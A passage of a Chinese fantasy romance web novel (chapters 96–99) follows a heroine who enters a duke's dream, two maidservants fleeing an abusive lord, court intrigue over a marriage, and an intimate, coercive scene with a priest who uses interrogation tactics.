洛克未加阻拦,放任她离开了自己的桎梏,只是脸色有些不好看。 艾米并不在乎。她站在沙发旁,居高临下地下达了逐客令,“我要休息了,您该走了。”- 当晚,艾米就兑换了梦境药剂。 她今天扇了洛克一巴掌,还吊足了他的胃口,所以他大概率不会因为梦到自己而生疑。 或者说,搞不好本来他本来今晚就是要梦到自己的。 刚从埃克森的童年回来的时候,艾米迫不及待地想立刻见到现在的他。但真见到公爵大人后,她反而心底一直燃着股莫名其妙的火气。 洛克越令人讨厌,就好像越是在提醒她,他变成如今这样的契机,是谁造成的。 当然,理论上这跟自己没有半毛钱关系,当初如果不是自己救了他,那孩子可能直接就死了——就算他有着男主气运,也要吃更多的苦头吧。 可说到底,这种拼命找借口的心理,恰恰说明她实际上十分在意,所以才会用力说服自己不理会。 于是那股无名火就顺理成章地产生了。 因为她无论怎么做似乎都是不对的,而愤怒又往往是无能的外在表现。 就这样,她怒气冲冲地潜入了洛克的梦境,却又在见到梦中的埃克森时顷刻熄了火,就像被一盆水浇了个透顶。 他还是自己几天前见到的模样,瘦削的身形,尖尖的下巴,黑色的干净的眼睛,一只胳膊的袖口空荡荡的,盘腿坐在地上。 “埃克森?” 小少年抬起头,有些疑惑:“你认识我?” 是了。 艾米想起,自己离开过去的时间线后,他就会忘记自己。很明显,梦里也不例外。 她无法回答埃克森的问题,只能生硬地转移话题。 “这是哪儿?” 艾米环顾四周,空气中弥漫着淡淡的血腥味,房间昏暗,有点眼熟。 “看不出来吗?这是一处地牢。” 埃克森带着探寻,好奇地看着面前的艾米:“你是第一个出现在这里的活人,我确实对你有很多好奇。但是,现在应该不是问这些的好时机。” “他们要来了。” “谁?” “坏家伙们。” 他站起来,面色凝重,似乎正在专注地听着外面的动静。 艾米也尝试竖起耳朵,却什么都没听到。 埃克森看着她无端严肃的表情,忽然轻笑,“你当然听不到,他们是冲着我来的。” “我要转移阵地了。怎么说,你要跟我一起吗?” 这时候又不像艾米记忆中的埃克森了。 面前的小少年看起来成熟很多,也更游刃有余,不是那个生闷气都只会把自己脑袋缩回兜帽里的小孩了。 艾米点头,看着他单手掰开顶部的窗格,跟着钻了进去。 很奇怪,明明低头前觉得怎么也塞不下一个成年人的洞口,就轻而易举地容纳了她。艾米跟在埃克森后面,爬过硌得膝盖生疼的石子路,最后在另外一间相似的牢房停下,看着面前和刚才无差的陈设,她差点以为自己遇到了鬼打墙,或者转了一圈又回到了原地。 这个迄今为止都十分莫名其妙的梦境令她满头雾水。 “好了,这里应该能撑一会。” 埃克森就像能看出她的疑惑一样,主 动开口说道:“并不是一间地牢,你应该能闻得到,这里的血腥味更重些。” 艾米抽了抽鼻子。 确实如此。 “这说明他们刚离开不久,所以,还比较安全。”埃克森继续解释道。 “你说的坏家伙们是谁?”艾米忍不住问。 埃克森并不好糊弄。 “小姐,你还没回答我的问题。”他黑色的眼眸毫不掩饰探寻之意,“你为什么会知道我的名字?” “这不应该,知道这个名字的,除了那些坏家伙们,剩下的人应当全都死了。” 艾米坐到了他的对面,“这很难解释我见过你,当然会知道你的名字。” 埃克森忽然笑了,“真有意思。那你现在是活着,还是已经死了?你是怎么进入我的意识里的?通灵?还是什么别的手段?” “活着我应当是活着的吧。” “那你要小心了,也许等你出去之后,就只能看到自己的尸体了。”埃克森说,“那个‘我’是不会放过你的。” 艾米没明白。 “你你到底是什么?追杀你的又是什么?” “不不不,游戏规则不是这样的。” 埃克森在用空了半截的袖口摆手,看起来有点滑稽。 “一个个来,你想先问哪个?” “第一个吧。”艾米回答。 “嗯,我应当是——一段记忆。”埃克森皱起眉,想必这个问题对他来说也很难解释。 他又晃了晃自己的半截手臂,“看到这个了吗?” 艾米点头。 “我就是一段,这只手被砍断后,一直到这只手再度长出来之间的,记忆。” 真是稀奇古怪的答案。 “只是可惜,就像你看到的,我其实是残缺的。换句话说,这段时间的记忆也是不完整的。” 艾米也听得一知半解,但她还有别的想问。 “那你为什么出现在这里?” “地牢关住了我,也在保护我。”他挽起袖口,断面处正在蠕动着,像是有什么想要挣扎着长出来,“这个地牢是我的终点。” 艾米终于想起这里为什么眼熟了。 这是当初关押她的地方。只不过那里很暗,她几乎什么都看不见,所以一开始才会没认出来。 原来如此。 艾米恍然大悟,原来面前的,就是和自己共处了几天的,限定版埃克森。他不知用了什么办法,把这段记忆分割了出来,即使这段记忆里的他已经忘了自己。 “有趣,有趣。”埃克森瞪大了眼睛,“你知道我。” “不不不,我的意思是,你认识的不是那个‘我’,而是现在这个‘我’。” 他太聪明了,几乎立刻就从艾米的表情中读出了这个信息。 “该轮到我问了,我说的对吗?” 艾米点头。 “你就是我残缺的那条手臂。”他补充道,“当然,这是个比喻,我的意思是,拿我是一段记忆这件事来说,你是我残缺的那部分。” 这是个不错的比喻句,可艾米记得,自己用的入梦的药水,而不是什么潜入潜意识的药水。 “梦?”埃克森笑,“你的意思是,这是个梦?” 他笑得更夸张了。 “‘我’已经十几年没有做过梦了。‘我’的精神世界简直像间大型的屠宰场,就算有梦,也只有杀戮和痛苦,所以‘我’用了些办法让自己再也不做梦。” “梦很危险,对于‘我’这种人来说尤甚。好不容易获得的身份、地位、金钱,‘我’不可能因为一句梦话而失去这些。” 艾米心底一紧。 她不知道洛克醒来后会不会记得这个梦,但如果记得,那她就麻烦大了。 “抱歉,我说的有点多。”埃克森又打量起艾米的表情,并在看到她紧皱的眉头时轻而易举地猜出她心中所想,“你害怕了?” 他说这话时的逗弄语气简直和洛克一模一样! “该我了。”艾米打断他的话,“那些坏家伙们为什么要追捕你?” “因为‘我’想要抹杀掉所有成为洛克之前的记忆,而我是仅存的片段。虽然不知道和你在一起时发生了什么,但是那对‘我’来说一定很重要,‘我’不能遗忘。” “很矛盾是吧?说实话,我也这么觉得,明明一开始是努力想要守护的东西,现在却成了想要抹去的回忆。” 聊了这么会天,他的断臂已经快长到了手腕处。 “和你聊天很开心,但我的时间也不多了。”埃克森咧着嘴角绽放了一个艾米熟悉的开朗的笑容。 “你不用害怕,我一直在‘我’的潜意识里躲藏,‘我’发现不了我,也不会发现你的。” 艾米也的心也软了下来。 “你和我认识的埃克森有些地方不像,但仔细看的话,根本还是一个人。” “那是当然。毕竟,我比你认识的他,又多了十九年的记忆呢。” 艾米沉默片刻:“我有什么能为你做的吗?” 埃克森一时也有些苦恼。 “或者,有什么办法,能让外面的坏家伙们消失?” 埃克森摇了摇头,“应当很难吧。小姐,你应当担心担心自己,‘我’如果知道你认识我,可能会杀了你。” 他的手快要长出来了。 “你知道吗?”他笑着看着艾米,不自觉带上了撒娇的语气,“不管过了多少次,断肢再生都疼得要命呢。”- 洛克感觉自己昨晚睡得很不安稳,醒来后大脑仍然一阵阵地抽痛,他低头看着自己的手臂,隐约觉得前几天长出断肢的疼痛又翻了上来。 说实话,他上次就觉得非常古怪。 其他任何地方的伤口恢复都没有这么痛,只有手臂再生会这样。 疼得就好像要刻进他的心口一样。 科林曾建议他少使用这些力量,如果压制不住它们,他的灵魂恐怕会被不知不觉吞噬掉。 洛克不以为然。他只需要比那些邪恶的家伙更贪婪,那些欲念就能反过来成为滋养他的肥料。 只是,当那股钻心的疼痛再度袭来的时候,洛克产生了一种自己的手臂仍然是空着的错觉。 ‘的欲望越强烈,你的力量就会越强大。’ 他回想起自己第一次长出这只手时的残缺记忆。 什么的欲望?洛克之前以为是‘杀死那位取走自己手骨的黑魔法师’的欲望。但仔细想来又似乎不是,那个人早就死了,虽然可惜他并不是死在自己的手里,但从逻辑上来说,他失去了作为复仇目标的资格。 到底是什么的欲望? 他越想越觉得烦躁,那种答案似乎近在咫尺,又根本抓不住的感觉折磨着他。 第一次断肢长出来的时候,他到底是抱着什么样的决心,才忍受着这样的疼痛的? 第97章 第97章欢迎来到托利亚。…… 回到托利亚后,婚礼正式提上了议程,时间很紧张,但还好如果有钱的话,多短的时间也能办得很体面。 公爵大人的度假结束,临走前将礼物送给了自己的未婚妻,除了原本的领地之外,泥巴湾也正式划到了她的名下。 煤矿已经开始运转,初期的工人都是小镇的居民,除此之外,一家更大的炼铁工坊出现在原本河岸对面的林间,第一批精工打造的铠甲和兵器运到了领主府,护卫队的小伙子们都换上了新的装备。 这同样来自于洛克的建议。 附近领地开始有人试探着想来矿上找一份工作,一开始是些没有家庭的自由民,零散的几个,原本的日子也不好过,才过来碰碰运气;可这里跟传说中的完全不一样,领主也十分宽厚,很快这消息就传得飞快,连一些农奴都想冒险一试,他们本来就没有土地,只要能从庄园主人手里逃走,就能没什么负担地开始新的生活。 随着来矿上工作的人越来越多,很快就引起了附近领主尤利西斯的注意,按理说只有灾难和饥荒年份才会发生的外逃,居然在夏末秋初的时候出现了。秋收在即,失去这么多青壮年人力,粮食会烂在土地里的。 他派人在领地边界处追捕这些可恶的逃民,领主府的士兵们像往常一样玩着猫撵耗子的游戏,两条腿的人是跑不过四条腿的马的,更何况他们还有猎犬能嗅到人的踪迹。 并不是所有人都会被逮到,但一旦倒霉被大人的士兵们抓到,那就全完了。 “诺尔,我们回去吧!”贝蒂因为害怕哭得上气不接下气,她攥紧包裹的手紧张得发抖,坐在树根处看着诺尔把棉布长裙撕成一条一条的衬布裹住腿上被石头划破的伤口,内心十分绝望。 “趁他们还没发现我们,我们 先往回跑,然后假装一切都没发生过,好吗,最多被安妮姑姑打一顿,再关几天禁闭,一切都会过去的。” 诺尔疼得面色发白,咬着牙缠紧布条。 “闭嘴,贝蒂,要回头你自己回去!” “可是你受了伤,大人们的狗鼻子很灵,要不了多久他们就会追上我们的。” “所以呢?你害怕我连累你吗?如果是这样,你可以现在就离开。”诺尔冷冷地说。 她贝蒂要矮上一点,但此刻她站着,和坐在树根的贝蒂说话时气势更足。 “我不是这个意思。”贝蒂小声地为自己辩解,“我只是觉得为了一个不确定的传闻跑到隔壁领地,这真的值得吗?最起码原来的生活,我们都还能吃得饱饭,冬天也有木柴用。” “很好,你既然觉得这样的日子不赖,那你自己回去。”诺尔拎起自己的包裹,毫不留恋地就要走。 贝蒂连忙爬起来跟上:“我是担心你!” 她小声地说,“那个矿区,只有男人才能找到工作,我们过去了又能怎么样?还不是要去找个给有钱人洗衣服做饭当女仆的活?全天下的有钱老爷都一样,这里和那里,又有什么差呢?” 诺尔的脸紧绷着,“但我知道,留在原来那里,我除了被送上老爷的床,没有其他路能选了,而最起码,托利亚的领主是位小姐。” 贝蒂喏喏地小声说,“其实未必有你想的那么糟糕只要忍一忍忍一忍就过去了” 诺尔猛地停下脚步,她瞪大了眼睛看向贝蒂,明亮的眼睛里盛满了不可置信。 贝蒂被她忽然的转身吓得一激灵:“怎怎么了?” 诺尔只继续瞪着她:“什么时候的事情?” “上,上个月”贝蒂像鹌鹑一样缩着脑袋。 “你替我班的那天?” 贝蒂的脸色惨白,唇角却颤抖着勾起,像是担心好友生气,露出讨好地笑:“你的话肯定会不管不顾地在床上想办法杀了他到时候你也活不了。” 诺尔昂着下巴,用力扯着贝蒂让她跟紧自己:“你就是这样才会一直被其他人欺负!” 贝蒂想说点什么为自己辩解,可唇瓣动了动,还是什么都没说出来。 两个人在树林中继续赶路,天色渐暗,只剩下月光从树叶缝隙中投下稀薄的莹光。 “不能继续再走了。”诺尔当机立断做了决定,“否则可能会迷路的。” 寂静的夜里,连犬吠声都十分明显,贝蒂每当听到这声音,就会吓得猛一哆嗦。 “可我们要是被追上来怎么办?” 诺尔轻蔑地笑了笑:“你以为老爷们的狗腿子不睡觉?他们恐怕不知道在哪间猎人小屋里舒舒服服地烤着火喝酒呢!” 她们不敢点火,只从包裹里扯出一块厚实的毛毯,头靠着头依偎在一起。 尽管奔波了一整天,但害怕和亢奋混杂在一起,在只有稀薄月光的丛林里,两个人都久久无法入睡。 “我你为什么会带我一起跑?”贝蒂轻轻问,“你这么聪明,而我这么没用。” 诺尔的声音清脆:“因为我要为过去的生活考虑,在陌生的环境里,我需要值得信任的同伴,两个人能做的事情比一个人多得多,别这么瞧不起自己的力量。” “可你可以找其他人。”贝蒂小声说。 “你是值得信任的同伴。”诺尔坚定地问答。 “谢谢” “那你呢,你为什么会答应。”诺尔问道:“说实话,你一口就答应下来的时候,我都吓了一跳呢。” 她感觉贝蒂好像往自己的肩头蜷缩了一点,身体微微颤抖。 “诺尔。” “嗯?” “我这个月没有流血。” 诺尔不懂这是什么意思,她独来独往,很少参与其他女仆的秘密谈话,在生理常识这块知识储备几乎为零。 “我害怕。” “害怕什么?” “我害怕我怀上了老爷的孩子。” 诺尔一惊。 贝蒂蜷在她的肩头小声地说着:“我不想生下它,但我也不知道要怎么弄死它,你知道的,我怕死怕得要死。如果被安妮姑姑知道,我不知道还能不能活下来。” “所以所以我就脑子一热,答应了你的计划。” 诺尔沉默了半响,才缓缓开口:“等我们找到活,赚到第一笔钱,就带你去找医生。” “不会有事的,你不会死的,等到鸟开始鸣叫,我们就继续赶路。” 她在毯子下攥紧贝蒂的手。 “我们会跑出去的。” 晨曦温柔地洒在两个小姑娘的脸上,她们睡得太晚,又太累,因此比预想的时间晚了许多才醒。 是犬吠声吵醒的她俩。 而那声音还有越来越响亮的趋势。 贝蒂被吓得快要腿软,诺尔的巴掌重重地拍上她的后背。 “别乱想了!只管跑!” 诺尔紧紧地拉住贝蒂的手,几乎是拖拽着她往前跑。 “还记得我告诉你,我为什么从来不害怕的原因吗?” 诺尔清脆的声音顺着风灌进贝蒂的耳朵里:“你只要抱着要弄死他们心,你无论面对谁都不会害怕的。” “别想后果!贝蒂,只看脚下的路!” 犬吠声越来越近,她们像两只振翅的蝴蝶,用力扇动着翅膀,在疾风的挟裹中颠簸,却怎么也飞不出去。 “我看到了!”背后传来马蹄声,还有士兵的哄笑和口哨声。 “居然是两个姑娘,真稀奇!” “哈哈哈哈!” 一支箭矢刺破响利的风,落在贝蒂脚下。 “这可比打猎有趣多了。” “蠢蛋,别把人射死了!” 贝蒂死死咬着唇,她谨记诺尔的话,闷头往前奔,就算箭头险些擦过自己,也看都不看旁边一眼。 就在这时,一长串马的嘶鸣出现在她们逃跑的方向。 诺尔放缓了脚步,她攥紧贝蒂的手,身体微微颤抖。 贝蒂没有减速,差点踉跄着摔倒,她疑惑地看向伙伴,“诺尔,怎么了?” 诺尔没有说话,贝蒂才看到面前的树林间走出几位令人目眩神迷的士兵,他们的铠甲在日光下闪着银色的光,冰冷又威严。 “退后!”为首的士兵发出呵斥,“这里是托利亚的领地。” 贝蒂吓得腿都软了,面前的士兵跟她见过的所有士兵都不一样,他们看起来一根手指就能轻易碾碎她的脖子。 诺尔仍然紧紧握着她的手,既像是鼓励她,也像是在给自己打气。 说话的士兵径直越过了她们。 “请退后,否则我的箭就要射到你的身上了。” 那群宿醉后还摇头晃脑的士兵立刻吓得清醒了,骂了几句没什么威胁的脏话,就调转马头离开了。 诺尔和贝蒂还愣在原地。 “欢迎来到托利亚。” 为首的那位士兵在马上欠身,就像是面对的不是两个逃难的小姑娘,而是什么贵族小姐一般礼数周全。 “顺便一提,如果你们想要去镇上,请顺着这边走,大约半个钟就能看到郊外的农户了。” 贝蒂顺着他手指的方向看去。 天光已大亮,阳光刺眼夺目,照得她眼泪止不住地往下掉落- 艾米收到了雷尔夫的回信。 他事无巨细地将自己查到的关于洛克的生平全部写了下来,其中包括他个人 最在意的一件事。 “洛克小时候走丢过一次,后来找回来了,但因此生了一场近半年的病。据说派恩公爵发了很大的火,将侍奉小少爷的身边人几乎换了个遍,把之前的人都杀了干净。” 埃克森大概就是那个时候顶替的洛克。 他们本来就长得有些像,所以黑石会的人才会想到让他假装小少爷,来实施绑架。 除此之外,南境的氛围不太对劲。 “矿工协会的会长几乎半个月就会死掉,矿工们都说这个位置被下了诅咒,连续死了五个人后,现在矿工协会只剩几个哈卡兹家族挂名的老头了。” “小姐,这也许是我的猜测,但我认为,您应当尽量拖延和洛克公爵的婚礼。” “他向你订购大量的铁器,这并不是一个好的信号。” 另外一封来自黑鼠的信。 他现在也会帮自己打听一些消息。 他说迪斯港最近又来了许多外乡人,作为北境最大的港口城市,这里每天都有很多外乡人。 但最近这些都是从布佛里托来的。 “他们每天在港口晃荡,结成了新的帮派,据说里面的大部分人都是矿工。” 黑鼠写这封信的想法很单纯,他知道艾米的领地上的煤矿缺少工人,因此想问问需不需要介绍这些人来托利亚看看。 艾米不知道南境发生了什么事,但雷尔夫说的一点很对。 洛克手把手教她第一批铁器要用在扩充自己的护卫队上,还告诉她其他领主不会眼睁睁看着自己的劳力跑到她的领地上。 但同时,他又向自己订购了一大批铁器,作为“投资煤炭的附带”。 这并不是一个好信号。 他有野心,有大抱负,也不应该拉自己下水。 托利亚还过于羸弱,暂时经不起战争的拖累,她还需要时间发展,不能现在就卷进绞肉机里。 “炼铁工坊现在有几个人?”她叫来古德先生询问情况。 “二十人,小姐。” “暂缓煤炭供应,降低他们的效率,让他们减少产量,就说——”艾米的目光落在桌面亚兰刚刚给她的文稿上。 “——就说有其他更耗费煤炭的工坊要开工了。” 第98章 第98章非常规手段。 如果说之前的生活像荡着涟漪的河,在经过某些陡峭的山路会那么湍急一段,那么现在就像夜晚的港湾,表面是静谧的,但没人敢直接挽起裤腿踩进去。 艾米抗拒婚姻的原因是会失去自己的领地,而现在这个问题也解决了,不可思议,在金币面前,传统就像从未有过一样。 这使她不得不正视这段有可能成真的婚约。 如果,她的意思是,如果洛克并不需要她履行妻子的职责,而仅仅需要合法的程序,并且自己能过上和现在没有差别的生活的话,似乎也没什么坏处——当然,这一切的前提是她的合法丈夫不这么着急想着去干非法的事情。 但结合目前的信息,洛克不仅有这个打算,还可能筹备的差不多了。 只是艾米实在不明白他的动机。 王位有什么吸引力?这片大陆的国王可没什么权力,家族之间形成巧妙的平衡,互不干涉,也不插手对方领地的事务。 甚至国王都未必有他有钱! 要不是因为他是自己的攻略对象,艾米想,也许她会考虑布利斯或者米迦尔的建议,想办法早点成为一个有钱的寡妇。 “小姐,你真的要结婚了吗?”罗莎好奇地问。 “当然不。”艾米头也不抬地说。 她翻着桌面的文稿,伸手捏出两页写了一半的空白纸张,忽然皱眉,“莉亚去哪了?” 半精灵凑上前看,是小姑娘没做完的算术作业,决定好心地替她掩盖一二。 “大概,也许,应该是在上课吧?” 艾米将她的作业拢起放在一旁:“那就让她下课后来找我。” “说回刚才的事,你们去洛克的庄园时,除了那几封信外,还翻出了什么别的东西吗?” “没什么特别的,除了随处摆放的珠宝,他的卧室和书房都没有什么有用的文字。”罗莎回忆道,“他很谨慎,或者说,他应该有别的、不会留下痕迹的联络方式。” 艾米点头,陷入思考。 趁洛克去永夜城参加贝丝订婚宴的时候,她安排莉亚和罗莎去他的庄园搜刮了一圈,最后在书房翻出了几封书信。一封是写信给宝石协会的会长,似乎是向对方确认婚戒使用的主石,还有零散几封诸如此类的信件,皆是和婚礼相关的。 唯独一封署名芙芙的信是例外。 这名字一看就是个亲密的自称。她在信里问洛克什么时候会去王城,还说父亲也希望能和你一起共进晚餐,其中提到了现任财政大臣的名字,信里,芙芙亲昵的用叔叔来称呼他——那位大人是哈卡兹家的成员,也是洛克的叔叔。 看到艾米捏着抄录下来的信纸默不作声,罗莎的心揪了起来。 这是她从书房带出来的,自然也知道上面的内容,恐怕没有哪个小姐会高兴看到自己未婚夫和其他女人还保持着暧昧关系,特别是这种明目张胆摆在自己案头的证据。 但小姐却轻轻抿起了唇角,愉悦的表情像是想到了什么高兴的事。 “小姐?”罗莎忍不住唤她,“您在笑什么呀?” 艾米弯了弯眼睛,笑眯眯地挥了挥手上的信纸:“你猜得到写信的人是谁吗?” 罗莎面露不解。 艾米一副恨铁不成钢的模样,就像吃了大瓜却没人能明白她的心情:“能用这种口吻提及皇宫里的大臣,还能有谁?” 她随手扯过一张纸,改了改信底的署名,在旁边写下奥多芙的名字。 罗莎惊讶:“您是说是公主殿下!” “小声点。” “总之,公爵大人的择偶取向就像白纸上的墨水一样明显。” 艾米挑了挑眉,脸上是掩盖不住的得意,“你刚才不是还在好奇我结婚的事?” 罗莎眨巴着眼睛拼命点头。 “你等着吧。在正式的婚礼之前,我就会先收到退婚函。” 罗莎还是一脸茫然,她看着小姐神采飞扬的脸,忍不住心底犯嘀咕: 话说,被退婚有这么值得高兴吗?- 当然。 尤其在自己已经作为公爵大人未婚妻在社交场合露面的情况下。 可怜的姑娘,遭受了这样的对待,洛克恐怕要多掏一笔用来安抚自己的金币,才说得过去。 从布利斯的童年回来后,艾米一直隐隐觉得不对劲的地方终于想通了。 前任国王路德维希去世后,妮可拉王后生下了一个夭折的女孩,这和父亲的预言相悖,他曾预言国王的第一个孩子会是个强壮的男孩。 艾米的注意力全被这个消失的男孩吸引走了,她甚至还猜过贫民窟出生的米迦尔是不是有可能是国王的私生子,公爵大人自然也在她的猜测名单上,谁让他看起来就像怀揣着秘密一样令人生疑。 但回溯药剂明明白白地告诉她,洛克是矿工的孩子,就算他确实有秘密,这秘密也和国王无关。 最后还是这封来自奥多芙公主的私人信件给了她额外的启发。早在几年前,洛克公爵正在追求奥多芙公主的消息就曾在社交场广为流传,连艾米这种穷乡僻壤的小领主都知道,公爵大人送给公主的成年礼物硕大且昂贵,甚至可以说是价值连城。而仅凭父亲的几封信,他就调转了方向,转而要和自己这个“乡下姑娘”结婚。 或许,洛克挑选未来妻子的标准自始至终都没有变化。 从一开始,他就只想娶一位公主。 子女的继承权要先于兄弟,如果路德维希确实还有子女在世,那么ta的继承权要优于他的弟弟,也就是如今的马克西米国王。 御前占星术大学士在王后去世不久,带着不知是哪儿来的小女孩隐居乡野,这个传闻哪怕只放出一点饵也足够吸引公爵大人的注意了,想想看,一个合法的王位继承人,还是一个没有父母的孤儿,无论从哪个维度来考量,她这个“公主”都要比奥多芙更合适。 想到这里,艾米忍不住笑了起来。 含糊不清的年纪,再配合占星术士师的职业,父亲居然为她平白编造了这么一个唬人的身份。 没错,之所以用了“编造”这个词,是因为艾米根本不可能是妮可拉王后的女儿。 她不是连自己年纪都记不得的原住民,她是穿越者,从睁开眼的那刻开始,记忆或许会因为视力和听觉发育不完全而模糊,但绝不会混淆。如果王后是十九年前的夏天生下了一个夭折的女儿,那她就不可能自 己的亲生母亲。 多么有趣,机会主义的公爵大人也有马失前蹄的时候。他也许是想找一个更好掌控的“公主”做自己的妻子,但可惜的是,他选错了投资对象。 艾米已经迫不及待看到他知道真相时的样子了- 亚兰已经被艾米逼着在厨房看了整整三天的烧开水了。 “怎么样?有什么灵感了吗?” 她满脸期待。 亚兰仍然一头雾水。 艾米继续追问,“你不觉得,烧水时,那股蒸汽顶着盖子的力量,非常神秘吗?” 亚兰摇头。“说实话,如果你真的这么闲的话,你完全可以催促巴特早点把泥巴湾的货运码头建好,以便在海水结冰之前,将其他领主订购的煤炭运出去。” 他说的没错。 托公爵大人的福,永夜城之行结束后,很多贵族都认识了她这个没什么名气的小领主,艾米也趁机售卖了一批煤炭。尽管贵族们自己不会用这种脏兮兮的矿石取暖,但在寒冷的北境,燃料这种东西永远是越多越好,比起木炭,艾米提供的煤炭价格更低,他们自然愿意囤积一些,来应对可能会出现的严寒或暴雪,降低领地上人民的死亡率。 对于艾米来说,这批订单的挑战在于运输,为了具有竞争力,她设定的价格已经够低了,因此运输成本也必须压缩。 毋庸置疑,从泥巴湾走海运是最好的选择。 除此之外,艾米还想将矿区到码头这段路的运输效率一并提高。 照理来说,最简单的办法应当是扩宽小镇外那条浅溪,挖条运河连接码头,可由于对铁路和火车怀抱不切实际的幻想,艾米总忍不住做着发明蒸汽机的春秋大梦。所以她开始以一种揠苗助长的气势每天拉着亚兰来厨房看烧开水,试图启迪他聪明的脑瓜。 这种基本等同于每天用苹果砸牛顿试图砸出万有引力来的行为,着实荒谬,因此三天以后,艾米自己也放弃了。 ——不过这种放弃仅仅指放弃逼迫亚兰,而不是放弃蒸汽机。 她把热情倾注到学校里,增加了一项观察烧开水的日常活动,当然,大部分人都觉得领主大人的要求有点莫名其妙。 米迦尔多少也有点这感觉。他现在兼任学校的老师,一周有两个上午教学生识字,其中有一天幸运地见到了艾米。 她没什么变化,充满活力,对什么都很有热情,天生就能吸引所有人的注意,每当她出现的时候,孩子们就会丢下课本,好奇地看着她的一举一动。 艾米在王城和在自己领地上完全是两幅模样,米迦尔想,她大概有两幅面孔,一个用来应付她不耐烦的“外人”,而另外一个则用来对待她想庇佑的小鸡崽,她的爱如此明确,任何见过的人都应当能分辨出。 米迦尔的心口泛起苦涩。 他明明也见过。教堂里结为夫妻的年轻情侣,满脸愁容为腹中孩子祈福的妈妈,还有捧着《三圣经》磕磕绊绊辨认文字的中年人,当她的目光落在这些人身上的时候,才是她倾注爱的时刻。 米迦尔也曾短暂获得过她片刻的垂怜。 在他腹部的伤口血流不止的时候。 她像条滑腻的小蛇,洁白柔软的身躯顺着手臂缠绕,不费劲地就能绞住他的咽喉,但也不费劲地就能从指缝溜走。 于是这天,当米迦尔再次见到艾米的时候,他拦住了她,和颜悦色地邀请她喝杯茶。 “真是不巧,我今天忙得不得了呢。”艾米尴尬地笑,然后随便扯了个谎就想走。 “艾米。”米迦尔的语气有些无奈,“我不是有耐心等待宣判的性格。” 他欺身压了上去,以一种搂抱的姿势将她困在门后,掌心贴着她的后颈。 艾米被迫仰起脖子,她露出讨好的笑,希望神官大人能像对待其他信徒一样对她宽容。 “别不理我。”米迦尔叹了口气,“陪我喝杯茶吧。” 他看着艾米倒向了自己的怀里,手臂软软地勾住他外衣的腰带。 对于容易从指缝溜走的猎物,必须要用些非常规的手段。 第99章 第99章一种类似黄昏时的味道。…… 艾米睁开眼睛的时候,嗅到了一种类似黄昏时的味道。 那是一种温度下降,青草在余温中收敛,而露水开始准备凝结的味道。 “休息得怎么样?” 实不相瞒,她睡得很好,只是现在才醒的话,晚上可能会睡不好了。 “希望我能让你满意。” 米迦尔看起来略微有些不安——只是如果刚才的一切没有发生过的话,他的这种莫名的不安才更有说服力。 “很满意,好吗!不要再问了。”艾米有点恼火地说。 什么“我不是有耐心的性格”,明明他才是最有耐心的那个。 她自认为已经够有眼色了,在意识到自己逃不掉后,立刻换了态度,拼命点头答应米迦尔的下午茶邀约。 但已经有点迟了。 米迦尔轻柔但用力地搂着她的腰,掌心下滑。 他笑了笑,“先不着急,小姐,鉴于您不怎么诚实的前科,我更希望谈论更重要的话题之前,确保你没有说谎的打算。” 艾米很快就知道他要‘怎么确保’。 米迦尔低头靠近,安抚似地说:“别担心。我很有经验。” 他确实很有经验,审讯的经验。他知道要如何攻破那些不肯张口、或顾左右而言他的犯人的心理防线,如果需要的话,他在操控节奏上是好手。 首先需要降低对方戒备的心态,用一种非对抗性,而更温和的态度伪装自己的意图。 “你想要放松一下吗?抱歉,我没有别的意思,你最近很忙,我只是想问问你需不需要一些能够缓解疲惫的光明系法术。” 艾米确实犹豫了。 光明法术非常擅长人体修补,任何体验过这种马杀鸡的人都很难对按摩说不。 但后续的事实证明,任何平白无故的馈赠都暗藏陷阱。 于是聊天的场所换到了更为私密的卧室。 米迦尔很规矩,在为她按摩的时候甚至没有碰她的身体。 他谨慎且仔细地观察着她在放松状态下的表情和呼吸,作为后续对比基准。 这是审讯中尤为关键的前期步骤。 截止目前,所有的一切都按照他的节奏在走。 “你最近好像很疲惫,你在因为什么困扰?” 用一种开放性的提问作为话题的切入,来引导平稳状态下的对方详细描述自己的感受。 “好多事情都很头疼。” “我认为你可以适当倾诉一下。”米迦尔声音沉缓轻柔,令人放松,“小姐,接受信徒的告解,是我的职责。” 艾米觉得有道理。 她开始事无巨细地讲述自己最近遇到的头疼的事情,比如逐渐增多的人口带来的管理压力,小镇上甚至开始出现恶性事件,因此她不得不扩充护卫队,加强巡逻;矿区的总管是洛克公爵送她的,并不是自己的人,但现在又不得不用他;想在泥巴湾建码头也很困难,那里多滩涂,想要停泊更大的船只,必须人工挖凿,无论是人力还是成本消耗都是巨大的。 “你已经做得够好了。” 米迦尔真心实意地说,托利亚是他见过最平静祥和的城镇,这里的人们常常会表现出一种令人艳羡的天真。 “还远远不够,好吗。”艾米叹了口气。 她的注意力被转移,未注意按摩已经开始逐渐变质。 米迦尔的掌心顺着她脊背轻抚,在后腰处停留,打转。 艾米开始逐渐觉得不对劲,却仍然在犹豫要不要拒绝。 这个时候,为对方提供“合理化的出口”很重要。她需要一个借口来卸下防备,因此米迦尔小心翼翼地引导她将这种‘正常的反应’归因于外部的压力,也就是自己的‘胁迫’。 “我非常想念你,在过去的几天里。” “一想到你可能会在我的注视下结婚,我就心痛 得要命。” “你一直在躲着我,我实在不知道该怎么办才好。” “我不后悔胁迫你,我只是无法控制自己对你的沉迷和欲望。” 艾米脊背紧张地绷紧。 她不知道该怎么应对这种直白的表达。 短暂的沉默让暧昧的氛围更浓郁了,米迦尔愉悦地勾起唇角,突然的安静是制造紧张的必要手段。 他开始逐渐步入正题。 从半跪着吻了吻她的脖颈开始。 “痒。” 米迦尔开始用重复提问来剥夺她的思考。 “哪里?” “这里,还是这里?” 并用已知的事实进行反问。 “你明明很喜欢这里吧?” “想解释一下它为什么这么热情吗?” 艾米感觉自己像一条砧板上的鱼,压力和快。感一起不断积攒,心跳得越来越快。 她只被允许说是或者不是,而米迦尔则通过对细节的确认来验证答案。他极擅长这个,在渐进的压力下,艾米的心理防线像烤得酥脆的饼干,轻轻一捏就瓦解成碎屑。 米迦尔似乎仍然觉得不够。 他轻轻擦拭她眼角的泪水,耐心地继续加压。 “你喜欢吗?” 艾米哭得肩膀抽动,点了点头。 “喜欢它,还是喜欢我。” 她在意乱情迷中注意到米迦尔的眼睛如冰雪般冷静。 “喜欢你。”艾米只犹豫了片刻,还是选择了应当是正确答案的回答。 “你知道吗?”他轻轻笑了,“你说谎的时候下面也会紧张。” 艾米浑身颤栗,勉强抬头看了他一眼。 垂下的眸子像浓得化不开的雪雾,唇角还是上扬的,噙着温和的笑。这让他的神色看起来有些难以捉摸。 